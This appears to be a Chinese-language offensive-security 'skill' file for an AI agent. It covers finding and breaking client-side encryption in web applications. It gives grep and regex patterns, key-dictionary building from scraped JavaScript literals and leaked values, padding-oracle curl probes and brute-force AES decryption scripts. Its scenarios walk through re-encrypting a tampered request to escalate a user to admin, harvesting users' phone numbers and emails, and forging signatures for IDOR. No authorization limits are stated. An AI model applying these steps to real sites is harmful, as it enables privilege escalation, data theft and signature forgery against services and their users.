| name | crypto-attack |
| description | ★ AI 优势赛道 — 加密算法识别、密钥提取与破解。覆盖 AES (CBC/ECB/GCM)、 DES/3DES、RSA、Base64/Hex/MD5/SHA 编码检测、CryptoJS 模式提取、 响应体加密绕过、自定义混淆逆向、JWT+AES 双重加密场景。
|
| metadata | {"tags":"crypto,aes,des,rsa,base64,md5,sha,encoding,decrypt,cryptojs","category":"offensive-security","ai_advantage":true} |
Crypto Attack — 加密/编码识别与破解
AI 在模式识别、编码检测、密钥空间构建上有天然优势。
这个 skill 把加解密变成系统化流程。
0. 为什么 AI 在这块有优势
人类: 看到一个 Base64 字符串 → 肉眼判断是否加密 → 猜算法 → 手动试
AI: 扫描全量响应/JS → 模式匹配所有疑似加密体 → 自动分类 →
从 JS 提取加密函数签名 → 构建密钥字典 → 批量尝试
AI 能做的事:
1. 从 100 个 JS 文件中秒级提取所有 CryptoJS/Crypto 相关调用
2. 自动识别 Base64/Hex 是传输编码还是加密后的编码
3. 构建"JS 提取字面量 + 公共字典 + 目标特征"的三层密钥字典
4. 批量解密响应体中的加密字段 → 数据联动回注
1. 加密体发现 (MANDATORY)
1a. 响应体中的疑似加密字段
ENCRYPTION_PATTERNS = [
(r'^[A-Za-z0-9+/]{32,}={0,2}$', 'base64_candidate'),
(r'^[A-Za-z0-9+/]{64,}={0,2}$', 'base64_long'),
(r'^[0-9A-Fa-f]{32,}$', 'hex_candidate'),
(r'^[A-Za-z0-9+/=]{16,}$', 'b64_or_encoded'),
]
SUSPICIOUS_FIELD_NAMES = [
'encrypt', 'cipher', 'secureData', 'payload',
'data', 'content', 'body', 'sign', 'signature',
'hash', 'digest', 'checksum', 'mac', 'hmac',
'token', 'accessToken', 'refreshToken', 'auth',
'p', 'q', 'k', 'v', 's', 't',
]
1b. JS 文件中的加密函数调用
CryptoJS.AES.encrypt(
CryptoJS.AES.decrypt(
CryptoJS.DES.encrypt(
CryptoJS.TripleDES.encrypt(
CryptoJS.RC4.encrypt(
CryptoJS.Rabbit.encrypt(
CryptoJS.MD5(
CryptoJS.SHA1(
CryptoJS.SHA256(
CryptoJS.HmacSHA256(
CryptoJS.enc.Base64.stringify(
CryptoJS.enc.Hex.parse(
CryptoJS.enc.Utf8.parse(
CryptoJS.mode.CBC
CryptoJS.mode.ECB
CryptoJS.pad.Pkcs7
crypto.createCipheriv(
crypto.createDecipheriv(
crypto.createHash(
crypto.createHmac(
crypto.pbkdf2(
crypto.randomBytes(
crypto.subtle.encrypt(
crypto.subtle.decrypt(
crypto.subtle.importKey(
crypto.subtle.generateKey(
forge.cipher.createCipher(
forge.md.sha256.create(
forge.pki.rsa.encrypt(
new JSEncrypt()
jsencrypt.encrypt(
jsencrypt.setPublicKey(
sm2.doEncrypt(
sm4.encrypt(
2. AES 攻击链
2a. 从 JS 提取 AES 密钥和 IV
var key = CryptoJS.enc.Utf8.parse("1234567890123456");
var iv = CryptoJS.enc.Utf8.parse("1234567890123456");
var key = CryptoJS.enc.Utf8.parse(secretKey);
var key = CryptoJS.MD5(password);
var key = CryptoJS.PBKDF2(password, salt, {keySize: 256/32});
var key = CryptoJS.enc.Base64.parse(encodedKey);
var key = response.data.secret;
2b. AES 密钥字典构建
grep -roP '"[^"]{8,64}"' output/*/js/*.js | sort -u > js_literals.txt
cat findings/_leaked_values.json | jq -r '.[].values[]' > leaked_values.txt
cat > aes_common_keys.txt << EOF
1234567890123456
1234567890abcdef
0000000000000000
abcdefghijklmnop
!@#$%^&*()_+QWER
thisisasecretkey
EOF
cat js_literals.txt leaked_values.txt aes_common_keys.txt | sort -u > aes_dict.txt
2c. AES 模式识别
def detect_aes_mode(js_code):
if 'CryptoJS.mode.CBC' in js_code or 'aes-256-cbc' in js_code:
return 'CBC'
if 'CryptoJS.mode.ECB' in js_code or 'aes-256-ecb' in js_code:
return 'ECB'
if 'CryptoJS.mode.CTR' in js_code or 'aes-256-ctr' in js_code:
return 'CTR'
if 'CryptoJS.mode.GCM' in js_code or 'aes-256-gcm' in js_code:
return 'GCM'
if 'CryptoJS.mode.OFB' in js_code:
return 'OFB'
if 'CryptoJS.mode.CFB' in js_code:
return 'CFB'
return 'CBC'
2d. ECB 模式特征检测(无需密钥)
ECB 模式下相同的明文块产生相同的密文块。如果加密体中出现重复的 16 字节块 → ECB 模式!
def detect_ecb(ciphertext_hex, block_size=16):
"""检测 ECB 模式: 查找重复的密文块"""
blocks = [ciphertext_hex[i:i+block_size*2]
for i in range(0, len(ciphertext_hex), block_size*2)]
unique = len(set(blocks))
total = len(blocks)
if unique < total:
return True, f"ECB detected: {total - unique} duplicate blocks"
return False, "No ECB pattern detected"
2e. Padding Oracle 检测
curl -s https://target/api/decrypt -d '{"data":"<ciphertext>"}'
curl -s https://target/api/decrypt -d '{"data":"<tampered_ciphertext>"}'
3. 编码检测与处理
3a. 自动识别编码类型
import re, base64, binascii
def identify_encoding(data_str):
"""自动识别字符串的编码类型"""
if re.match(r'^[A-Za-z0-9+/]+={0,2}$', data_str) and len(data_str) % 4 == 0:
try:
decoded = base64.b64decode(data_str)
if all(32 <= b < 127 or b in (9,10,13) for b in decoded):
return 'base64', decoded
except: pass
if re.match(r'^[A-Za-z0-9_-]+={0,2}$', data_str):
try:
decoded = base64.urlsafe_b64decode(data_str + '==')
return 'base64_urlsafe', decoded
except: pass
if re.match(r'^[0-9A-Fa-f]+$', data_str) and len(data_str) % 2 == 0:
try:
decoded = bytes.fromhex(data_str)
return 'hex', decoded
except: pass
if data_str.startswith('eyJ') and data_str.count('.') == 2:
return 'jwt', data_str
return 'unknown', data_str
3b. 多层编码检测
def detect_layers(data_str, max_depth=5):
"""递归检测多层编码 (如 Base64→Base64→JSON)"""
layers = []
current = data_str
for _ in range(max_depth):
encoding, decoded = identify_encoding(current)
if encoding == 'unknown':
break
layers.append(encoding)
current = decoded if isinstance(decoded, bytes) else decoded.encode()
try:
decoded_str = current.decode() if isinstance(current, bytes) else current
if decoded_str.startswith('{') or decoded_str.startswith('['):
layers.append('json')
break
if all(32 <= ord(c) < 127 for c in decoded_str[:50]):
layers.append('plaintext')
break
except: pass
return layers
4. 实际攻击场景
场景 1: 请求体 AES 加密 — 篡改测试
POST /api/user/update → 请求体: {"data":"U2FsdGVkX18..."}
↑ CryptoJS.AES.encrypt(JSON.stringify(payload), key)
Step 1: 从 JS 找到: var key = CryptoJS.enc.Utf8.parse("siteSpecificKey!");
Step 2: 解密 "U2FsdGVkX18..." → {"userId":10086,"role":"user"}
Step 3: 修改 role→admin → 重新加密 → 发送
Step 4: 提权成功 → critical finding
场景 2: 响应体加密字段 — 数据挖掘
GET /api/user/list → [{"id":1,"name":"admin","data":"x9Kd..."}]
↑ 加密字段, 可能含敏感信息
Step 1: 从 JS 找到解密逻辑: JSON.parse(CryptoJS.AES.decrypt(data, key).toString(CryptoJS.enc.Utf8))
Step 2: 提取 key → 解密 "x9Kd..." → {"phone":"138...","email":"admin@..."}
Step 3: 电话/邮箱用于其他接口的参数注入 → 数据联动
场景 3: 签名算法逆向 — 参数篡改
GET /api/order/list?userId=10086&sign=a3f8c2d...
Step 1: 从 JS 找签名生成: md5(params + timestamp + secret)
Step 2: 提取 secret → 可自行计算任意参数的合法签名
Step 3: userId=10087&sign=<computed> → IDOR + 签名绕过
场景 4: 自定义编码/混淆
function encode(str) {
return btoa(str.split('').reverse().join(''));
}
function customDecode(str) {
return atob(str).split('').reverse().join('');
}
5. 工具链
python3 -c "
from Crypto.Cipher import AES
import base64, json
key = b'1234567890123456'
ciphertext = base64.b64decode('U2FsdGVkX18...')
cipher = AES.new(key, AES.MODE_CBC, iv=ciphertext[:16])
plaintext = cipher.decrypt(ciphertext[16:])
print(plaintext)
"
python3 -c "
from Crypto.Cipher import AES
import base64
ciphertext = base64.b64decode('<ENCRYPTED_DATA>')
with open('aes_dict.txt') as f:
for key_str in f:
key_str = key_str.strip()
try:
key = key_str.encode().ljust(16, b'\x00')[:16]
cipher = AES.new(key, AES.MODE_ECB)
plain = cipher.decrypt(ciphertext)
if b'{\"' in plain: # 看起来像 JSON
print(f'FOUND KEY: {key_str}')
print(f'PLAIN: {plain}')
break
except: pass
"
6. 与其他阶段的联动
Phase 1 (JS 分析) → 提取加密函数签名和密钥字面量
Phase 4 (API Fuzz) → 发现加密的请求/响应体
Phase 5 (Crypto) → 解密 → 提取明文数据
│
├── 解密出的新参数名 → 回注到 Phase 4 API Fuzz
├── 解密出的凭据/JWT → 回注到 Phase 5 JWT Attack
├── 解密出的用户 ID → 回注到 Phase 7 IDOR
└── 解密出的密钥本身 → 加入字典 → 对其他加密体尝试